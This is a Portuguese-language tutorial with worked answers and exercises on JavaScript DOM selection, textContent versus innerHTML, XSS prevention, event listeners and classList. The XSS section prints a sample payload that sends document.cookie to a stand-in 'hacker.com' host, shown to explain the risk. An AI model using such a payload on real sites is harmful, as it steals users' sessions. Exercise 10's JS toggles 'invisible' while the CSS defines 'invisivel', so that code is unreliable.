

A Ponte entre Lógica e Interface: Selecionando o DOM

1. O que significa a sigla DOM?

A sigla significa **Document Object Model** (Modelo de Objeto do Documento). É uma interface de programação que representa documentos HTML e XML como uma estrutura de árvore, permitindo que linguagens como JavaScript alterem a estrutura, o estilo e o conteúdo da página.

2. Comando exato para selecionar `<div class="card">`

Para selecionar uma classe usando o `querySelector`, você deve utilizar o ponto (.) antes do nome da classe:

JavaScript

```
document.querySelector('.card');
```

3. Código para selecionar `<nav>`

Para guardar o elemento em uma constante:

JavaScript

```
const menuNavegacao = document.querySelector('nav');
```

4. O erro do desenvolvedor Júnior

O erro foi a **falta de aspas** dentro dos parênteses. O `querySelector` espera uma string contendo um seletor CSS. Sem aspas, o JavaScript tenta encontrar uma variável chamada `btn-primario`, que não existe (e o hífen ainda seria interpretado como uma subtração).

O correto seria:

JavaScript

```
document.querySelector('.btn-primario'); // Se for classe
```

// ou

```
document.querySelector('#btn-primario'); // Se for ID
```

5. Qual elemento o `querySelector` retorna?

Ele retornará apenas o **primeiro** elemento que encontrar no documento que corresponda à classe `.item-lista`. Para pegar os 5 elementos, seria necessário usar o comando `querySelectorAll`.

Atualização Segura de Conteúdo e Prevenção de XSS

1. Diferença fundamental entre `textContent` e `innerHTML`

A diferença está no **nível de interpretação**:

- **textContent**: Enxerga tudo apenas como texto. Se você passar uma tag `<b>`, ele vai escrever os caracteres `< b >` literalmente na tela.
- **innerHTML**: Enxerga o conteúdo como código HTML. Ele pede ao navegador para "ler e desenhar" as tags, transformando-as em elementos vivos na página.

2. O que é um ataque XSS e como ocorre?

XSS (Cross-Site Scripting) é um ataque onde um invasor consegue injetar scripts maliciosos (geralmente JavaScript) em páginas web visualizadas por outros usuários.

No front-end, ele ocorre quando usamos `innerHTML` para exibir dados que vieram de fora (como um comentário de um usuário ou um nome de perfil) sem "limpar" esses dados. O navegador executa o script do invasor achando que faz parte do código legítimo do site.

3. Código seguro para alteração de texto

Para garantir que o texto seja tratado apenas como informação visual, sem riscos de execução de código: JavaScript

```
const elementoMensagem = document.querySelector('#mensagem');
elementoMensagem.textContent = "Processamento concluído!";
```

4. Identificação do erro no código de comentários

```
divComentarios.innerHTML = "<p>" + comentarioDigitado + "</p>";
```

- **Erro Técnico:** Se o usuário digitar algo como "Olá
 mundo", o layout pode quebrar ou se comportar de forma inesperada.
- **Erro de Segurança:** É uma **vulnerabilidade crítica de XSS**. Se o usuário digitar `<script>fetch('https://hacker.com?cookie=' + document.cookie)</script>`, o seu site enviará os dados privados do usuário para o invasor assim que o comentário for carregado.

5. Cenário para justificar o uso de `innerHTML`

O uso é justificável quando você precisa renderizar uma **estrutura complexa de HTML que é estática ou controlada internamente**.

- **Exemplo:** Um sistema de temas onde você troca um ícone e um texto de um card ao mesmo tempo, e esse código HTML está salvo em uma constante confiável do próprio desenvolvedor, e não vindo de uma entrada de usuário.

Dica de Ouro: Na dúvida, use sempre `textContent`. Se precisar criar elementos complexos de forma segura, prefira o `document.createElement()` ou bibliotecas que tratam a sanitização de dados.

Interatividade: Ciclo de Eventos e Manipulação de Classes

1. Para que serve o método `addEventListener`?

Ele serve para registrar um "ouvinte" de eventos em um elemento. Ele fica "escutando" a página e, quando o evento especificado (como um clique, movimento do mouse ou tecla pressionada) acontece, ele executa uma função específica.

2. Vantagem do `classList.toggle()`

A principal vantagem é a **automação da lógica de alternância**.

- Com `add` e `remove`, você precisaria de um `if/else` para verificar se a classe já existe antes de decidir qual comando usar.
- O `toggle` faz isso em uma única linha: se a classe estiver lá, ele tira; se não estiver, ele coloca. É o comportamento ideal para botões de "liga/desliga" ou menus laterais.

3. Código para adicionar a classe "ativo"

Para adicionar a classe de forma direta dentro de uma função:

JavaScript

```
function ativarPainel() {
  const botao = document.querySelector('button');
  botao.classList.add('ativo');
}
```

4. O que o `classList.contains()` retorna?

Ele retorna um valor **Booleano** (`true` ou `false`).

- Ele verifica se a classe especificada está presente na lista de classes daquele elemento. Se estiver, retorna `true`; caso contrário, retorna `false`. É muito útil para criar condicionais no código.

5. O erro ao passar `minhaFuncao()` com parênteses

O erro é que a função será **executada imediatamente** assim que o navegador ler aquela linha de código, e não quando o botão for clicado.

- **O erro:** `addEventListener` espera o *nome* da função (a referência) para chamá-la no futuro.
- **O correto:** `btn.addEventListener('click', minhaFuncao);` (sem os parênteses).

Ao colocar os parênteses, você está passando o *resultado* da função para o evento, em vez da função em si.

Dica Prática: Imagine o `addEventListener` como um contrato: você diz qual o gatilho e qual a ação. Se você já executa a ação na assinatura do contrato (usando os parênteses), o gatilho perde o sentido!

EXERCÍCIOS DE FIXAÇÃO

Exercício 1 — O Guardião do Texto

JavaScript

```
const cracha = document.querySelector('#nome-cracha');
cracha.textContent = "João Dev";
```

Exercício 2 — Classe Reversa

JavaScript

```
function exibirNotificacao() {
  // Seleciona o elemento pelo ID
  const alerta = document.querySelector('#alert');
  // Remove a classe que mantém o elemento oculto
  alerta.classList.remove('escondido');
}
```

Exercício 3 — Alternador de Status

HTML

```
<main id="container">
  <button id="btn-maquina">Ligar Máquina</button>
</main>
```

JavaScript

```
const btn = document.querySelector('#btn-maquina');
const main = document.querySelector('main');
```

```
btn.addEventListener('click', () => {
  main.classList.toggle('operando');
```

```
if (main.classList.contains('operando')) {  
  btn.textContent = "Desligar Máquina";  
} else {  
  btn.textContent = "Ligar Máquina";  
}  
});
```

Exercício 4 — Auditoria de Segurança (Refatoração)

HTML Sugerido:

HTML

```
<h3>Bem vindo: <span id="nome-usuario"></span></h3>
```

JS Refatorado:

JavaScript

```
const spanNome = document.querySelector('#nome-usuario');  
// textContent garante que qualquer script no input seja tratado como texto puro  
spanNome.textContent = inputNome.value;
```

Exercício 5 — Contador de Cliques

JavaScript

```
let contagem = 0;  
const btnPromo = document.querySelector('#btn-promo');  
const displayContador = document.querySelector('#contador');  
  
btnPromo.addEventListener('click', () => {  
  contagem++; // Incrementa a variável numérica  
  displayContador.textContent = contagem; // Atualiza a tela com segurança  
});
```

Exercício 6 — Accordion FAQ

JavaScript

```
const tituloFaq = document.querySelector('h3');  
const respostaFaq = document.querySelector('p'); // Supondo que o <p> esteja logo abaixo  
  
tituloFaq.addEventListener('click', () => {  
  respostaFaq.classList.toggle('oculto');  
});
```

Exercício 7 — Validação Visual de Input

JavaScript

```
const inputSenha = document.querySelector('input[type="password"]');  
  
inputSenha.addEventListener('keyup', () => {  
  if (inputSenha.value.length >= 6) {  
    inputSenha.classList.add('input-sucesso');  
    inputSenha.classList.remove('input-erro');  
  } else {
```

```
inputSenha.classList.add('input-erro');
inputSenha.classList.remove('input-sucesso');
}
});
```

Exercício 8 — Menu Hamburguer Responsivo

JavaScript

```
const btnAbrir = document.querySelector('#abrir-menu');
const btnFechar = document.querySelector('#fechar-menu');
const menu = document.querySelector('.menu-lateral');

btnAbrir.addEventListener('click', () => menu.classList.add('menu-aberto'));
btnFechar.addEventListener('click', () => menu.classList.remove('menu-aberto'));
```

Exercício 9 — Filtro de Tabela Estático

JavaScript

```
const btnDevs = document.querySelector('#btn-devs');
const todosItens = document.querySelectorAll('li');
```

```
btnDevs.addEventListener('click', () => {
  todosItens.forEach(item => {
    if (!item.classList.contains('dev')) {
      item.classList.add('display-none');
    } else {
      item.classList.remove('display-none');
    }
  });
});
```

Exercício 10 — Sistema de Modais

HTML:

HTML

```
<button id="abrir-modal">Testar Modal</button>

<div id="overlay" class="invisivel">
  <div class="modal">
    <p>Ação crítica detectada!</p>
    <button id="confirmar">Confirmar</button>
  </div>
</div>
```

CSS:

CSS

```
.invisivel { opacity: 0; pointer-events: none; transition: 0.3s; }
#overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); }
```

JS:

JavaScript

```
const overlay = document.querySelector('#overlay');
const btnAbrir = document.querySelector('#abrir-modal');
const btnConfirmar = document.querySelector('#confirmar');

const toggleModal = () => overlay.classList.toggle('invisible');

btnAbrir.addEventListener('click', toggleModal);
btnConfirmar.addEventListener('click', toggleModal);
```